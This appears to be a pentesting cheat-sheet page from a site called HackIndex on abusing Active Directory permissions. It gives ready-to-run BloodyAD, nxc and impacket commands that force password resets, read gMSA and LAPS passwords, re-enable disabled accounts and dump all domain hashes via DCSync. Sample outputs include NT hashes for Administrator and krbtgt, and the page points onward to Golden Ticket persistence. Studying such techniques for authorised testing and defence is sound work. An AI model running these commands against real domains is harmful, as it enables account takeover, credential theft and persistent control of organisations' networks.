Skip to content
HackIndex logo

HackIndex

Password Attacks and Credential Abuse

4 min read Jul 10, 2026

With ACL rights on user accounts you can force password changes, read managed passwords, and enable accounts — all without any exploit. This page covers credential-based privilege escalation using BloodyAD and impacket from a position of partial access.

Force password change — ForceChangePassword

If you have ForceChangePassword or GenericAll rights on an account, you can reset its password without knowing the current one. The account continues to function normally — only its password changes.

┌──(kali㉿kali)-[~]
└─$ # Reset password on target account
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # With Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p :$NTHASH --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # Verify new credentials work
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $TARGET_USER -p 'NewPassword123!'
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $TARGET_USER -p 'NewPassword123!' 
SMB  10.10.10.10  445  DC01  [+] corp.local\targetuser:NewPassword123! (Pwn3d!)

This modifies the target account's password — the legitimate owner will notice immediately if they try to log in. On exams this is acceptable. On real engagements, document the original password hash before changing it so you can restore it, or use shadow credentials instead which leave the password untouched.

gMSA password extraction

Group Managed Service Accounts store their current password blob in msDS-ManagedPassword. Only accounts listed in msDS-GroupMSAMembership can read it, but that ACL is often misconfigured. BloodyAD reads the blob and outputs the NT hash directly.

┌──(kali㉿kali)-[~]
└─$ # Read gMSA managed password blob
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $GMSA_ACCOUNT --attr msDS-ManagedPassword
 
┌──(kali㉿kali)-[~]
└─$ # gMSADumper — parses blob and outputs NT hash directly
┌──(kali㉿kali)-[~]
└─$ python3 gMSADumper.py -u $USER -p $PASSWORD -d $DOMAIN -l $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # nxc
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --gmsa
 
┌──(kali㉿kali)-[~]
└─$ # Use the NT hash for Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $GMSA_ACCOUNT -H $NTHASH --local-auth
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$GMSA_ACCOUNT@$TARGET_IP -hashes :$NTHASH 
svc-backup$:aes256-cts-hmac-sha1-96:...
svc-backup$:des-cbc-md5:...
svc-backup$:::[NTHASH]:::

LAPS password extraction

LAPS stores auto-rotated local admin passwords in ms-MCS-AdmPwd on computer objects. Over-permissioned ACLs on computer OUs are common — any user with read rights on that attribute gets the current local admin password for that host.

┌──(kali㉿kali)-[~]
└─$ # Read LAPS password via BloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $COMPUTER_ACCOUNT --attr ms-MCS-AdmPwd
 
┌──(kali㉿kali)-[~]
└─$ # All computers with LAPS readable
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(ms-MCS-AdmPwd=*)' --attr dNSHostName ms-MCS-AdmPwd
 
┌──(kali㉿kali)-[~]
└─$ # nxc LAPS module
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --laps
 
┌──(kali㉿kali)-[~]
└─$ # Use the LAPS password for local admin access
┌──(kali㉿kali)-[~]
└─$ nxc smb $COMPUTER_IP -u Administrator -p $LAPS_PASSWORD --local-auth 
LDAP  10.10.10.10  389  DC01  Computer: WS01$  LAPS Password: xK9#mP2!vL

Enable disabled accounts

Disabled accounts — especially old admin or service accounts — often retain group memberships and permissions from when they were active. Re-enabling them with a known password gives you access to whatever rights they still hold.

┌──(kali㉿kali)-[~]
└─$ # Find disabled accounts with privileged group memberships
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' --attr sAMAccountName memberOf
 
┌──(kali㉿kali)-[~]
└─$ # Remove ACCOUNTDISABLE flag (requires GenericAll or specific write right)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove uac $TARGET_USER ACCOUNTDISABLE
 
┌──(kali㉿kali)-[~]
└─$ # Set a known password
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # Verify
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $TARGET_USER -p 'NewPassword123!'

DCSync — dump all domain hashes

DCSync replicates the domain controller's password database by abusing DS-Replication rights. You need either Domain Admin, an account with explicit replication rights, or rights granted via the add dcsync BloodyAD command covered in ACL Abuse.

┌──(kali㉿kali)-[~]
└─$ # Dump all domain hashes
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc
 
┌──(kali㉿kali)-[~]
└─$ # Dump specific account only
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user krbtgt
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user Administrator
 
┌──(kali㉿kali)-[~]
└─$ # With Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH -just-dc
 
┌──(kali㉿kali)-[~]
└─$ # nxc
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD --ntds 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::

The krbtgt hash is needed for Golden Ticket persistence. The Administrator hash can be used directly for Pass-the-Hash. For using these hashes for lateral movement see Pass-the-Hash and Pass-the-Ticket. For Golden Ticket persistence see Golden and Silver Ticket Persistence.

References